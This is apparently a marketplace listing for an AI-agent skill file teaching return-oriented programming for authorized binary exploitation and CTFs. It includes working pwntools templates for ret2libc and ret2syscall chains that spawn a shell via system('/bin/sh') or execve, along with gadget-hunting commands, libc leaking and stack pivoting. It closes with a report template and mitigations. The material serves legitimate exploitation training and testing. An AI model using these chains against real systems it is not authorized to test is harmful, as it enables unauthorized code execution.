‹ 首页

performing-return-oriented-programming

@xalgord · 收录于 昨天 · 上游提交 昨天

Methodology for building Return-Oriented Programming (ROP) chains to bypass NX/DEP by reusing existing code gadgets, covering gadget discovery, calling-convention argument setup, ret2libc, ret2syscall (execve), one_gadget, stack alignment, JOP, and stack pivoting across x86/x64/ARM64 during authorized engagements.

适合你,如果在授权测试中需要进行二进制漏洞利用

/ 通过 npx 安装 校验哈希
npx oh-my-skill add xalgord/xalgorix/performing-return-oriented-programming
/ 通过 bash 安装
curl -fsSL https://oh-my-skill.com/install.sh | bash -s -- xalgord/xalgorix/performing-return-oriented-programming
/ 已经装过?验证本机副本,不用重装
npx oh-my-skill verify xalgord/xalgorix/performing-return-oriented-programming
安装目标可用 --agent / --scope 或 --to 明确指定;省略时只会在唯一已存在的 agent 目录上自动选择,零命中或多命中会停止并提示。content_hash 缺失或不一致均拒装。
807GitHub stars
~2.3K上下文体积 · 单文件
索引托管

怎么用

技能原文 SKILL.md作者撰写 · MIT · eeaf26b

Performing Return-Oriented Programming

When to Use
  • During authorized exploitation when you control the saved return address (via stack overflow, write-what-where, etc.) but NX/DEP prevents executing injected shellcode on the stack.
  • When you need to call an existing function (system, execve, mprotect) or invoke a syscall with attacker-chosen arguments by chaining small ...; ret gadgets.
  • When choosing between ret2libc (call a libc function), ret2syscall (raw sys_execve, common in static binaries), ret2dlresolve, SROP (when gadgets are scarce), or stack pivoting (off-by-one / short overflows).
  • On ARM64 targets where ret jumps to x30 and instructions cannot be entered mid-instruction, requiring JOP or pivot-based approaches.
Critical: Concepts/Steps Most Often Missed
  • 16-byte stack alignment on x86-64. The SysV ABI requires RSP be 16-byte aligned at a call. libc functions use SSE (movaps) and will SIGSEGV if misaligned. If system() crashes inside libc, insert a bare ret gadget before it to realign. This is the single most common reason a "correct" chain crashes.
  • Argument passing differs by arch/ABI. x86 cdecl pushes args on the stack (right-to-left); x86-64 SysV uses RDI, RSI, RDX, RCX, R8, R9; Windows x64 uses RCX, RDX, R8, R9. You need pop rdi; ret-style gadgets to load registers, not just stack values.
  • The function needs a return slot. After system you must place a return address (e.g. exit) or the chain crashes on system's own return. CTFs often get away with garbage, real targets do not.
  • ARM64 entry-point pitfall. When jumping to a function via ROP on ARM64, jump to the function's second instruction to avoid re-storing the stack pointer and looping forever.
  • NUL bytes and bad chars in gadget addresses. A pop rdi; ret gadget at 0x400686 is fine, but addresses with NULs break string-copy overflows. Pick alternate gadgets or use ret2dlresolve/SROP.
How to CONFIRM

Confirm gadget control in gdb: set a breakpoint at the ret of the vulnerable function, single-step into the first gadget, and verify each register holds the intended value (p $rdi, p $rsi) before the call/syscall. Confirm the final primitive by observing the spawned shell (p.interactive() yields an interactive $) or, for mprotect, by checking the target page is now rwx in vmmap. A chain that returns cleanly but spawns nothing usually means an alignment or argument-register error, not a missing gadget.

Workflow
Step 1: Profile the Binary and Find Gadgets
pwn checksec ./vuln        # NX on (need ROP), PIE/RELRO/canary status drives the plan

# Enumerate gadgets
ROPgadget --binary ./vuln | grep -E "pop (rdi|rsi|rdx|rax) ; ret"
ropper --file ./vuln --search "pop rdi"
ROPgadget --binary ./vuln | grep ": ret$"          # alignment gadget
from pwn import *
context.binary = elf = ELF('./vuln')
rop = ROP(elf)                       # pwntools gadget finder
log.info("pop rdi @ %#x", rop.find_gadget(['pop rdi', 'ret'])[0])
Step 2: ret2libc — Call system("/bin/sh")
from pwn import *
context.binary = elf = ELF('./vuln')
libc = elf.libc                       # or ELF('./libc.so.6')
offset = 72                           # confirmed overflow offset

rop = ROP(elf)
ret      = rop.find_gadget(['ret'])[0]            # alignment
pop_rdi  = rop.find_gadget(['pop rdi', 'ret'])[0]
binsh    = next(libc.search(b'/bin/sh\x00'))
system   = libc.symbols['system']

payload  = b'A'*offset
payload += p64(ret)                   # 16-byte alignment fix
payload += p64(pop_rdi) + p64(binsh)  # RDI = "/bin/sh"
payload += p64(system)                # call system
payload += p64(elf.symbols.get('exit', 0))  # clean return slot

When the libc base is unknown/remote, first leak it (e.g. ROP-call puts(puts@got) to leak puts's runtime address), identify the version at libc.blukat.me, then set libc.address = leak - libc.symbols['puts'].

Step 3: ret2syscall — Raw execve (static binaries)
# Target syscall config (x86-64): rax=59, rdi=&"/bin/sh", rsi=0, rdx=0
popRax, popRdi, popRsi, popRdx = p64(0x415664), p64(0x400686), p64(0x4101f3), p64(0x4498b5)
writeGadget = p64(0x48d251)   # mov qword ptr [rax], rdx ; ret
syscall     = p64(0x40129c)
writable    = 0x6b6000        # rw- page from `gef> vmmap`

rop  = popRdx + b"/bin/sh\x00" + popRax + p64(writable) + writeGadget  # plant string
rop += popRax + p64(0x3b)              # rax = 59 (execve)
rop += popRdi + p64(writable)          # rdi = &"/bin/sh"
rop += popRsi + p64(0) + popRdx + p64(0)   # rsi=rdx=0
rop += syscall
payload = b'0'*0x408 + rop

ROPgadget --binary vuln --ropchain auto-generates such a chain. If gadgets are scarce, use SROP to set every register from a forged sigcontext frame.

Step 4: Handle Alignment, one_gadget, and Re-use
# After leaking libc, a single-shot shell gadget avoids argument setup
one_gadget ./libc.so.6     # prints constraints (e.g. [rsp+0x40]==NULL) — satisfy them
# Make the bug reusable: return to main() / the vuln to leak then exploit in two passes
payload += p64(elf.symbols['main'])

For JOP (ARM64 / no ret gadgets), chain gadgets ending in br xN. For off-by-one or tiny overflows, pivot the stack (mov sp, x0-style or leave; ret) into a controlled buffer holding the full chain.

Key Concepts

| Concept | Description | |---------|-------------| | Gadget | A short instruction sequence ending in ret (ROP) or br/jmp (JOP), reused as a building block. | | ret2libc | Redirect execution to a library function (e.g. system) with crafted arguments instead of shellcode. | | ret2syscall | Set up registers and invoke a raw syscall (e.g. execve); common in static binaries with many gadgets. | | Calling convention | x86 cdecl (stack args), x86-64 SysV (RDI/RSI/RDX/RCX/R8/R9), Windows x64 (RCX/RDX/R8/R9). | | Stack alignment | x86-64 requires RSP 16-byte aligned at a call; fix with an extra ret gadget. | | one_gadget | A single libc address that execs /bin/sh if certain register/memory constraints hold. | | SROP | Sigreturn-Oriented Programming: forge a sigcontext to load all registers at once when gadgets are scarce. | | Stack pivoting | Redirect RSP/SP to a controlled region (heap/buffer) to run a chain that didn't fit in the overflow. | | JOP | Jump-Oriented Programming: gadgets end in indirect jumps; used on ARM where ret is uncommon. |

Tools & Systems

| Tool | Purpose | |------|---------| | ROPgadget | Find gadgets, search by pattern, auto-build execve chains (--ropchain). | | ropper | Alternative gadget finder; works on .so/.dylib, semantic search (e.g. --search "mov x0"). | | pwntools | ROP, ELF, find_gadget, fit, p64, libc.search, process/remote IO; full exploit scripting. | | gdb + pwndbg/GEF | Step through the chain, verify registers before calls, vmmap for writable pages, find "/bin/sh". | | one_gadget | Locate single-shot shell gadgets in libc after a leak. | | checksec | Confirm NX (necessitates ROP), PIE, RELRO, canary. | | lldb / dyld-shared-cache-extractor | iOS/macOS: list loaded images and extract libraries to mine gadgets. |

Common Scenarios
Scenario 1: NX-enabled CTF, known libc

Overflow with offset 72; chain ret (align) -> pop rdi; ret -> &/bin/sh -> system. The alignment ret is the difference between a shell and a crash inside movaps.

Scenario 2: Remote, unknown libc

ROP-call puts(puts@got) to leak the runtime address of puts, fingerprint the libc version online, rebase, then send a second-stage chain calling system("/bin/sh") or a one_gadget.

Scenario 3: Statically linked binary

No libc to call, but abundant gadgets. Plant /bin/sh in a writable .data/.bss page with a write-what-where gadget, set rax=59, args, and syscall to execve.

Scenario 4: ARM64 with NX

No useful ret gadgets; use JOP gadgets ending in br x2 loaded from a controlled heap object, or a stack pivot (mov sp, x0; ... ret) to relocate the stack onto the controlled buffer, then run an mprotect+shellcode chain.

Output Format
## ROP Exploitation Finding

**Vulnerability**: Stack overflow exploited via Return-Oriented Programming (CWE-121 + CWE-787)
**Severity**: Critical (arbitrary code execution, bypasses NX/DEP)
**Binary**: ./vuln (x86-64, NX enabled, No PIE, No canary)

### Control & Chain
- Overflow offset to saved RIP: 72
- Gadgets: ret @0x40101a, pop rdi;ret @0x401213
- Path: ret2libc -> system("/bin/sh") with exit() return slot
- Alignment: extra `ret` inserted to satisfy 16-byte ABI alignment

### Proof
Chain executed system("/bin/sh"); obtained interactive shell as service user (id: uid=1000).

### Impact
Full arbitrary code execution despite non-executable stack.

### Recommendation
1. Eliminate the underlying memory-corruption bug (bounded copies, input validation).
2. Enable Full RELRO, PIE/ASLR, and stack canaries to raise the cost of gadget reuse.
3. Adopt CET/shadow-stack (Intel) or PAC/BTI (ARM) where available to break ROP/JOP.
4. Minimize statically linked, gadget-rich binaries; keep libc/ASLR entropy high.
按 MIT 许可原样转载,未经改动 · 在 GitHub 查看 →

评论

登录即可评论;带「已验证安装」的,是发布者名下有本店的安装或持有记录。